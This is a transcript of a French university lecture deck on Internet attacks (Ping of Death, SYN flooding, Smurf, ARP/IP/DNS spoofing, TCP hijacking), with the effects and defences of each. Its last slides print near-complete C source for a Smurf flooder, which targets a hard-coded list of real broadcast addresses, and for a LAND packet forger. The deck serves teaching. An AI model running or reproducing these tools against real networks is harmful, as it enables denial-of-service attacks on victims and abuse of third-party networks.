1 / 50

Attaques Internet

Attaques Internet. Ahmed Serhrouchni ENST’Paris CNRS. Plan . Introduction Choix protocolaires Implications Typologie Les attaques sur les choix d’implantation Les attaques sur le design des protocoles Les attaques sur les détournements et usurpations

livana
Download Presentation

Attaques Internet

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. Attaques Internet Ahmed Serhrouchni ENST’Paris CNRS

  2. Plan • Introduction • Choix protocolaires • Implications • Typologie • Les attaques sur les choix d’implantation • Les attaques sur le design des protocoles • Les attaques sur les détournements et usurpations • Les attaques sur les bugs des logiciels

  3. Introduction.

  4. Choix protocolaires. • Simple • Léger • Pas ou peu de contrôle • Optimisation et confiance

  5. Implications. • Les attaques sur les protocoles de communications • exploiter les failles des protocoles IP, ICMP, TCP, UDP • Les attaques sue les applications • Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP • Les attaques sur l’information • L’écoute de données communiquées sur le réseau • La modification des données communiquées sur le réseau • Les attaques sur les systèmes • Le vol de mot de passe • L’accès aux fichiers et répertoires sans autorisation

  6. Typologie. (1/2) • Quelques classifications : • les effets : DoS (Denial of Service), intrusions, corruptions, • les protocoles : icmp, ip, tcp, dns, … • les systèmes d ’exploitation

  7. Typologie. (2/2) • Classification selon: • Choix d’implémentation : buffer overflow, Ping of death, land, TCP syn, Teardrop … • Conception des protocoles : Smurf:, email (bombing, spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing … • Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, email spoofing, dns cache poisonning, web spoofing … • Bugs : • Volontaires (virus, cheval de troie …) • Non volontaires (netscape server …)

  8. Attaques - Les choix d ’implémentationsPing of Death • Description • Ping est basé sur icmp echo/reply • Taille maximum d ’un paquet IP 65536 octets • ICMP est encapsulé par IP • L ’attaque consiste à générer des paquets ICMP de taille 65510 (8 octets pour le header icmp et 20 octets pour le header IP) • Fragmentaton à la source, le réassemblage provoque le crash du buffer de l ’émetteur

  9. Attaques - Les choix d ’implémentationsPing of Death • Effet : • crash ou reboot de la machine • Parade: software (patches)

  10. Attaques - Les choix d ’implémentationsTeardrop • Les tailles de MTU différentes impliques la fragmentation des paquets • Champ: identification, flags et fragment offset • Attaque par altération du fragment offset • Effet: • crah de la machine • Parade : • patche

  11. Attaques - Les choix d ’implémentationsLand • Forge des segments TCP syn avec l ’adresse source identique à l ’adresse de la machine victime • Effet : • crash de la machine • Parade: • software ou filtrage

  12. Attaques - Les choix d ’implémentations TCP SYN Flooding • L ’établissement d ’une connexion s ’effectue par un three-way handshake SYN x LISTEN SYNy, ACKx+1 SYN_RECVD ACK y+1 CONNECTED

  13. Attaques - Les choix d ’implémentations TCP SYN Flooding • Allocation des structures: inpcb, tcpcb • Attente dans l ’état SYN_RECVD (75s) • Nombre limité de connexions dans cet état • Effet: • perte de connectivité • Parade : • réduction du timer, • augmentation du nbr. de connexions semi-ouvertes, • désactivations des ports inutiles, • filtrage, et proxy

  14. Attaques - Les choix d ’implémentations Buffer Overflow • Attaques sur les OS multitâches (unix, WNT) • Pour obtenir des droits d ’accès privilégiés • Processus en exécution avec les droits suid • Processus en mémoire: zones (code ou texte, données, pile) • La pile est alloué de façon dynamique: • variables locales et pointeur sur l ’adresse retour après exécution • Appel à une fonction qui fait déborder la pile • Adresse retour réécrite par ce procédé

  15. Attaques - Les choix d ’implémentations Buffer Overflow • Effet : • crash ou obtention d ’un accès privilégié • Parades: • vérification du remplissage des tampons, • modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation) • modification du noyau pour marquer la pile non exécutable

  16. Attaques – Le design des protocoles • Saturation des ressources systèmes : Email-bombing/spamming, Smurf • Saturation des ressources réseau : Smurf, UDP-bombing,

  17. Attaques - Le design des protocolesEmail Bombing/Spamming • Envoi d ’un message répété à une même adresse • Spamming variante du bombing : le message est envoyé à des centaines ou milliers d ’adresses • Falsification de l ’adresse d ’origine • Effets : • congestion du réseau • crash du serveur de messagerie • indisponibilité des ressources physique

  18. Attaques - Le design des protocolesEmail Bombing/Spamming • Effets (suite) : • indisponibilité du serveur, des ressources physique, et de l ’entrée syslog • Parades : • Supervision, • filtrage, • proxy

  19. Attaques - Le design des protocoles Smurf • Envoi de ICMP echo vers une adresse broadcast dont l ’adresse source est celle de la victime • Effet : • congestion du réseau intermédiaire et de la victime • Parades : • filtrage (au niveau des trois réseaux), • OS: ne pas répondre pour des adresses broadcast

  20. Attaques - Le design des protocoles UDP bombing • Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7) • Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime • Effets : • si les deux ports sont sur la même machine les performances de celle-ci se dégradent • si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau

  21. Attaques - Le design des protocoles UDP bombing • Parades : • filtrage de tous les services sur UDP à l ’exception du port 53 (dns) • désactiver tous les ports udp inutiles

  22. Attaques - Le design des protocoles FTP bounce • Deux ports tcp l ’un pour les commandes et l ’autre pour les données • La commande PORT n1,n2,n3,n4,n5,n6de ftp • Détournement des données en changeant les paramètres ni • Utilisé pour contourner un firewall • Effets : • intrusion dans un réseau • dtournement du fltrage

  23. Attaques - Le design des protocoles FTP bounce • Parades : • Bien étudier l ’usage des serveurs ftp • Architecture : isoler le serveur ftp • Software: contrôler l ’usage de la commande PORT ( package wu-ftpd) • Proxy : élimine les cdes ports ayant comme origine un service interne connu • Authentification forte

  24. Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP • Prédire le numéro de séquence initial • Etablissement d ’une connexion et mesure du RTT pour prédire l ’ISN • Substitution d ’une adresse reconnue • Effet : • Etablissement d ’une connexion non autorisée • Parade : • Implémentation (un espace de numéro de séquence séparé pour chaque connexion) • Authentification (IPsec)

  25. Attaques - Le design des protocoles TCP connection killing • Envoi d ’un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu • Effet : • Perte de connectivité • Parade : • Autentification (Ipsec)

  26. Attaques - Les détournements et interceptions • Ecoute du trafic (sniffing ou eavesdrpping) • Se faire passer pour interlocuteur légitime aux niveaux: • liaison des données (ARP spoofing) • réseau (IP spoofing, TCP hijacking) • applicatif (email spoofing, dns spoofing, web spoofing)

  27. Attaques - Les détournements et interceptionsSniffing ou eavesdropping • Ecoute indiscrète des données sur un réseau • Sur le chemin des communicants • Attaque passive, les informations recueillis peuvent servir pour une attaque active • Effet : • perte de confidentialité et donc d ’information sensible (mot de passe) • Parades : • Chiffrement (Ipsec) • Architecture de réseau

  28. Attaques - Les détournements et interceptionsARP spoofing • Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l ’adresse IP • Possibilité de prendre en compte un ARP reply sans qu’i y ait eu auparavant de ARP who is? • ARP est sans état,l ’attaquant peu anticipé sur les requêtes • Effets : • Perte de connectivité réseau • redirection du trafic

  29. Attaques - Les détournements et interceptionsICMP redirect et destination unreable • Utilisation du message ICMP-redirect • Un pirate envoie à une machine un ICMP-redirect lui indiquant un autre chemin à suivre • Utilisation du message ICMP-unreachable destination • Un pirate peut envoyer ce message vers une machine • La machine ne peut plus joindre ce réseau

  30. Attaques - Les détournements et interceptionsICMP redirect et destination unreable • Effets : • perte de connectivité • déni de service • Parades : • filtrage • authentification (Ipsec)

  31. Attaques - Les détournements et interceptionsIP spoofing • IP spoofing correspond à l ’usurpation d ’adresse IP se S par A vers D • Détournement du trafic si A n ’est pas sur le même chemin entre S et D • Nécessite de prédire le numéro de séquence • Possibilité d ’utiliser : • le routage par la source • ICMP redirect • protocole de routage RIP

  32. Attaques - Les détournements et interceptionsIP spoofing

  33. Attaques - Les détournements et interceptionsIP spoofing • Effet : • prendre les privilèges de S • Parades : • Configuration pour ICMP redirect et RIP • Filtrage (source routing, adresse IP) • Authentification (Ipsec)

  34. Attaques - Les détournements et interceptionsTCP hijacking • Connexion TCP entre S et D • A se substitue à S • Utilisation de plusieurs attaques : • IP spoofing, • ICMP redirect, • TCP connection killing • Effets: • détournement d ’une communication autorisée • Contourne les protections d ’authentificaion forte de l ’utilisateur SKEY et Kerberos

  35. Attaques - Les détournements et interceptionsTCP hijacking • Parade : • Authentification (Ipsec)

  36. Attaques - Les détournements et interceptionsEmail spoofing • Absence d ’authentification • Aucun mécanisme d ’authentification auprès des serveurs mails, de plus vous ne savez pas qui réellement vous écrit • Pas de garantie d ’intégrité de message • Toute personne interceptant le message peut en modifier le contenu • Effets : • usurpation d ’adresse (demande de changement d ’information sensible) • cacher son identité pour une attaque

  37. Attaques - Les détournements et interceptionsEmail spoofing • Parades : • Architecture (utiliser un firewall comme frontal) • Empêcher toute connexion directe sur le port SMTP par configuration du mail delivery deamon • Authentification (par signature : PGP, SSL, S/MIME)

  38. Attaques - Les détournements et interceptionsDNS spoofing • Altérer directement les tables d ’un serveur de noms • Communiquer de mauvaises cache poisoning • Effets : • détourner le trafic vers l ’attaquant (applications sensibles : messagerie et web) • Connexions illicites par applets • Parades : • DNSsec une signature associée à chaque entrée • Pour les applets java vérifier les diff. adresses

  39. Attaques - Les détournements et interceptionsWeb spoofing • Attaque de type man in middle : le serveur de l ’attaquant détourne les requêtes HTTP de la victime • La victime navigue dans un faux web • Initialisation de l ’attaque: • l ’attaquant amène la victime à visiter son site (par email ou par sa figuration dans une indexation d ’un moteur de recherche) • la victime télécharche un script java • Ce script java détourne toutes les requêtes de la victime vers l ’attaquant

  40. Attaques - Les détournements et interceptionsWeb spoofing • Effets : • surveillance de l ’activité de la victime, et vol de données • altération des données, • Parades : • désactivation de javascript • proxy : repère et refuse des echanges HTTP avec réécriture des URL

  41. Exemples: Smurf (1/5) #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

  42. Exemples: Smurf (2/5) char *bcastaddr[] = { "199.171.190.0", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.0", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "199.171.6.255", "207.124.104.255", "205.180.58.255", "198.3.98.0", "131.104.96.255", "143.43.32.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", "198.32.146.255", "192.41.177.0", NULL };

  43. Exemples: Smurf (3/5) if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

  44. Exemples: Smurf (4/5) for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

  45. Exemples: Smurf (5/5) memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }

  46. Exemples: LAND (1/4) int main(int argc,char * * argv) { struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }

  47. Exemples: LAND (2/4) bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }

  48. Exemples: LAND (3/4) if((sock=socket(AF_INET,SOCK_RAW,255))==-1) { fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr;

  49. Exemples: LAND (4/4) tcpheader->th_sport=sin.sin_port; tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in)); close(sock); return(0); }

  50. Conclusion Questions et débat

More Related